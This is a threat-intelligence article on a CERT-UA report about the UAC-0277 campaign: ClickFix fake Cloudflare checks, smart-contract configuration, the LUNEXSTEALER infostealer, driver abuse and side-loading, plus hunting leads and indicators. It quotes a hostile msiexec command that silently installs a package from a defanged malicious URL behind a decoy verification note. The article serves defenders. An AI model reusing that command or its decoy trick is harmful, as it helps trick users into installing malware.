UAC-0277: ClickFix, smart contracts and LUNEXSTEALER

On 30 September 2026, CERT-UA (1), Ukraine’s government computer incident response team, part of the State Service of Special Communications and Information Protection, published its analysis of a campaign tracked under the cluster identifier UAC-0277.

In September 2026, its analysts identified more than a hundred compromised websites whose pages carry malicious JavaScript code. On these compromised sites, visitors are shown a fake Cloudflare verification page which, on the pretext of confirming that they are human, asks them to run a command. That command downloads and installs an MSI (2) package from a remote server. CERT-UA links this method to the ClickFix technique.

Several MSI packages circulated during the campaign; CERT-UA obtained and analysed three variants. All of them end with the execution of LUNEXSTEALER, a 64-bit Windows infostealer that doubles as a remote task execution agent. Depending on the configuration received from its command-and-control server, LUNEXSTEALER installs the malicious LUNARAXE extension, displayed in the browser under the name “Microsoft Office Word Editor”, and the NAIVEMESS component, which gives that extension access to the file system.

A configuration read from a smart contract

The script injected into the compromised sites does not hold the domain that serves the fake verification page in clear. That domain and the script’s operating mode are stored in a smart contract on the Polygon or Ethereum blockchain, and read again by the script on every execution, and therefore from the visitor’s browser. The operator can thus change the domain or the mode for all the compromised sites, centrally and without going back to them.

Fig. 1. Operating modes of the injected script, read from the smart contract.

In mode 2, the fake verification page is shown only when three conditions are all met: the visitor runs Windows, arrives through a link from a search engine (Google, DuckDuckGo, meta.ua, bigmir.net, among others), and has not already been shown it twice in the last 12 hours. Direct access to the site, from another operating system or without going through a search engine, therefore does not display the page.

Storing configuration data in a smart contract was described by Guardio Labs in October 2023 under the name EtherHiding, in the ClearFake campaign, which used the BNB Smart Chain. GTIG (6) documented its use by the North Korean actor UNC5342 on 16 October 2025. The use of Polygon to distribute the domains of ClickFix campaigns was reported in 2026, notably by Whalebone in May and by GuidePoint Security in September. CERT-UA establishes no link between UAC-0277 and these activities, and no connection is drawn here.

The fake Cloudflare verification page

The fake verification page asks the visitor to run a command. The three commands published by CERT-UA share the same form:

msiexec.exe /i "hXXps://uasputnik[.]com/elit.msi" /passive ORG_NOTE=”Захист від автоматичних запитів… ✔️ Підтверджую, що я не робот.”

The /i option installs the MSI package directly from the URL, and /passive runs the installation unattended, with only a progress bar. The command ends with a public property, ORG_NOTE, whose value, in Ukrainian, means “Protection against automated requests… ✔️ I confirm that I am not a robot.”. Proofpoint described a comparable method in November 2024: a fake verification message placed at the end of the command, so that the victim does not see the actual command in the Run dialog.

Named by Proofpoint in 2024, the ClickFix technique appears in ATT&CK (7) under the identifier T1204.004 Malicious Copy and Paste. CERT-UA points out that no legitimate “I’m not a robot” check ever asks you either to press Windows+R or open the Command Prompt or PowerShell, or to paste a command in order to run it, and advises closing the page in that case, even on a familiar site.

Fig. 2. The three MSI package variants analysed by CERT-UA.

Variant 2: BYOVD and CVE-2023-20598

AMD published CVE-2023-20598 on 16 October 2023 in bulletin AMD-SB-6009. It concerns improper privilege management in the pdfwkrnl.sys kernel driver of AMD Software, Adrenalin and PRO editions: an authenticated attacker can, through a crafted IOCTL (9) request, gain input/output control over arbitrary hardware ports or physical addresses, with possible arbitrary code execution. The NVD (10) gives the flaw a CVSS (11) 3.1 score of 7.8 (vector AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H), and CISA (12) maps it to CWE-269 (13). The fixed versions are AMD Software Adrenalin Edition 23.9.2, of 19 September 2023, and PRO Edition 23.Q4, of 12 December 2023.

In a BYOVD scenario, updating the driver installed on the workstation offers no protection: the attacker drops their own signed copy of the vulnerable driver and loads it. The countermeasure targets the loading of the driver, not the installed version.

CVE-2023-20598 is not in CISA’s KEV (14) catalogue (version 2026.10.04 of 4 October 2026, 1,734 entries), and the NVD record carries no date of addition to that catalogue. CISA’s SSVC (15) assessment, dated 27 June 2024, records exploitation at the PoC (16) stage.

The hashes published by CERT-UA for the file embedded_driver.sys, SHA-256 (17) 6e8b49cf70bf854e8c59c7d27cefa89406caf8978461190dabb86dafcd8554e1 and MD5 (18) b96d75a000367c200958089728fc5cb8, are identical to those of the PDFWKRNL.sys sample listed by the LOLDrivers project since 20 March 2026. LOLDrivers describes the file as the Advanced Micro Devices driver “USB-C Power Delivery Firmware Update Utility Driver”, version 1.0, signed by AMD, and added it to its catalogue with reference to ESET’s research on EDR (19) killers published in March 2026.

Variant 3: DLL side-loading

CERT-UA presents FnHotkeyUtility.exe as a legitimate file, without naming its publisher. It loads spkvol.dll, and that library decrypts then launches LUNEXSTEALER. Four distinct hashes of spkvol.dll appear among the indicators. The published paths place these files in subdirectories of %PROGRAMDATA% named SalmonLightSlateGray, SlateGrayChocolate and GrayLightCyan; the two files sit together in SalmonLightSlateGray and in GrayLightCyan. All three names put together colour names from the CSS (21) standard: Salmon, LightSlateGray, SlateGray, Chocolate, Gray and LightCyan.

Fig. 3. Components of LUNEXSTEALER and LUNARAXE.

CERT-UA assesses that removing the CSP probably allows the other LUNARAXE components to run their own JavaScript and to send data, including on sites with strict security policies.

Native Messaging, the gateway to the file system

Native Messaging is a legitimate mechanism of Chromium-based browsers that lets an extension exchange messages with a program installed on the workstation. On Windows, the host is declared by a registry key placed under HKEY_CURRENT_USER or HKEY_LOCAL_MACHINE, \Software\Google\Chrome\NativeMessagingHosts\<name> for Chrome and \Software\Microsoft\Edge\NativeMessagingHosts\<name> for Edge, whose default value points to a JSON (24) manifest. The browser starts the host process itself and talks to it over standard input and standard output. A host declared under HKEY_CURRENT_USER installs without administrator rights.

CERT-UA does not state under which registry root NAIVEMESS is registered. The host name to look for under both roots is com.lunex.explorer.

CERT-UA does not publish an ATT&CK mapping. The mapping below is drawn up for this article from its description, and each identifier has been checked against the official STIX (25) data of ATT&CK Enterprise, version 19.2.

Fig. 4. ATT&CK Enterprise v19.2 mapping drawn up for this article.

CERT-UA’s recommendations and how to implement them

Fig. 5. CERT-UA recommendations and the corresponding Windows and browser settings.

Hunting leads

• Creation of an msiexec.exe process with /i and a URL as argument (event 4688 with command line logging, or Sysmon event 1). The string ORG_NOTE= appears in all three published commands.
• Values of the HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU key containing msiexec or a URL: this key keeps the commands typed into the Run dialog, and public Sigma rules use it for ClickFix.
• Loading of a driver with SHA-256 hash 6e8b49cf70bf854e8c59c7d27cefa89406caf8978461190dabb86dafcd8554e1 (Sysmon event 6). This hash appears in the Sysmon configurations published by LOLDrivers.
• Exclusions added to Microsoft Defender: event 5007 in the Microsoft-Windows-Windows Defender/Operational log concerning the Exclusions key.
• Scheduled task psychedelicloveUtils (event 4698 if the corresponding audit is enabled) and mutex Local\psychedeliclove-guard.
• Key NativeMessagingHosts\com.lunex.explorer for Chrome or Edge, under both registry roots.
• Extension named “Microsoft Office Word Editor” in the browser extension inventory.
• A %PROGRAMDATA% directory containing both FnHotkeyUtility.exe and spkvol.dll.
• Network traffic to the indicators, including the WebSocket channel 193[.]178.159.128:8080/api/v1/ext/remote.

CERT-UA asks to be notified of any site displaying the fake verification page, and offers owners and administrators of compromised sites help in establishing how the compromise occurred.

Indicators published by CERT-UA, reproduced verbatim, including the source’s defanged notation ([.], hXXp, [:]). The order and grouping of the source are preserved; the Group column numbers the groups of files as they appear in the publication, without linking them to a variant, which CERT-UA does not specify. The extension files appear in two groups, with identical or similar names and different hashes.

Files

Fig. 6. Files, 28 hashes in eight groups.

Network

Fig. 7. IP (27) addresses, 7 entries.

Fig. 8. Domains, 19 entries.

Fig. 9. URLs, 23 entries.

Host

Fig. 10. Host indicators, 11 entries.

A single primary source describes the campaign. The elements that can be verified elsewhere have been cross-checked against independent sources.

1. CERT-UA (1): Computer Emergency Response Team of Ukraine, Ukraine’s government computer incident response team, part of the State Service of Special Communications and Information Protection.
2. MSI (2): Microsoft Installer, the installation package format handled by Windows Installer and launched from the command line with msiexec.exe.
3. URL (3): Uniform Resource Locator, the address of a resource on the web.
4. BYOVD (4): Bring Your Own Vulnerable Driver, the attacker dropping and loading a legitimate, signed and vulnerable driver to gain kernel mode rights.
5. DLL (5): Dynamic-Link Library, a code library loaded dynamically by a Windows program.
6. GTIG (6): Google Threat Intelligence Group, Google’s team dedicated to threat analysis.
7. ATT&CK (7): Adversarial Tactics, Techniques, and Common Knowledge, the framework of attack tactics and techniques maintained by MITRE.
8. CVE (8): Common Vulnerabilities and Exposures, the public identifier assigned to a vulnerability.
9. IOCTL (9): Input/Output Control, a control request sent by a program to a driver.
10. NVD (10): National Vulnerability Database, the vulnerability database of the United States NIST.
11. CVSS (11): Common Vulnerability Scoring System, the system for rating the severity of vulnerabilities.
12. CISA (12): Cybersecurity and Infrastructure Security Agency, the United States cybersecurity and infrastructure security agency.
13. CWE (13): Common Weakness Enumeration, the classification of software weaknesses.
14. KEV (14): Known Exploited Vulnerabilities, CISA’s catalogue of vulnerabilities whose exploitation has been observed.
15. SSVC (15): Stakeholder-Specific Vulnerability Categorization, the vulnerability prioritisation method used by CISA.
16. PoC (16): Proof of Concept, a technical demonstration that a flaw can be exploited.
17. SHA-256 (17): Secure Hash Algorithm 256 bits, the hash function used for file hashes.
18. MD5 (18): Message Digest 5, a hash function, used here as a complementary hash.
19. EDR (19): Endpoint Detection and Response, a detection and response tool for workstations and servers.
20. SHA-1 (20): Secure Hash Algorithm 1, a 160-bit hash function.
21. CSS (21): Cascading Style Sheets, the styling language for web pages, which defines a list of colour names.
22. HTTP (22): Hypertext Transfer Protocol, the transfer protocol of the web.
23. CSP (23): Content Security Policy, the security policy that restricts a page’s script sources and the destinations of the data it sends.
24. JSON (24): JavaScript Object Notation, a text format for structured data.
25. STIX (25): Structured Threat Information Expression, a format for exchanging threat data, used to publish ATT&CK.
26. HVCI (26): Hypervisor-protected Code Integrity, kernel mode code integrity enforcement protected by the Windows hypervisor.
27. IP (27): Internet Protocol, the addressing protocol of the Internet.

1. CERT-UA, “UAC-0277: ClickFix на скомпрометованих вебсайтах для поширення LUNEXSTEALER”, 30 September 2026. cert.gov.ua
2. AMD, bulletin AMD-SB-6009, AMD Radeon Graphics Kernel Driver Privilege Management Vulnerability, 16 October 2023. amd.com
3. NIST NVD, record CVE-2023-20598, published 17 October 2023, accessed 6 October 2026. nvd.nist.gov
4. CISA, Known Exploited Vulnerabilities catalogue, version 2026.10.04, 4 October 2026. github.com/cisagov/kev-data
5. LOLDrivers, PDFWKRNL.sys entry, added 20 March 2026. loldrivers.io
6. LOLDrivers, copy of the Microsoft blocklist SiPolicy_Enforced.xml, version 10.0.27825.0, updated 13 April 2026. github.com/magicsword-io/LOLDrivers
7. Microsoft, KB5020779, The vulnerable driver blocklist after the October 2022 preview release, October 2022. support.microsoft.com
8. MITRE, ATT&CK Enterprise v19.2, STIX data, 5 August 2026. github.com/mitre-attack/attack-stix-data
9. MITRE, ATT&CK, T1204.004 Malicious Copy and Paste, accessed 6 October 2026. attack.mitre.org
10. Proofpoint, Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape, November 2024. proofpoint.com
11. Guardio Labs, EtherHiding: Hiding Web2 Malicious Code in Web3 Smart Contracts, October 2023. guard.io
12. Google Threat Intelligence Group, DPRK Adopts EtherHiding: Nation-State Malware Hiding on Blockchains, 16 October 2025. cloud.google.com
13. Whalebone, The Secrets of Blockchain: ClickFix Utilizes Polygon for C2 Domain Distribution, 27 May 2026. whalebone.io
14. Dark Reading, ClickFix Campaign Compromises 31 Orgs, Abuses Polygon Blockchain, GuidePoint Security research, 1 September 2026. darkreading.com
15. Google, Chrome for Developers, Native messaging, accessed 6 October 2026. developer.chrome.com
16. Microsoft Learn, Edge policy NativeMessagingUserLevelHosts, accessed 6 October 2026. learn.microsoft.com
17. Microsoft Learn, DisableMSI, Windows Installer policy, accessed 6 October 2026. learn.microsoft.com
18. Microsoft, NoRun, registry entry for the Remove Run menu from Start Menu policy, accessed 6 October 2026. technet.microsoft.com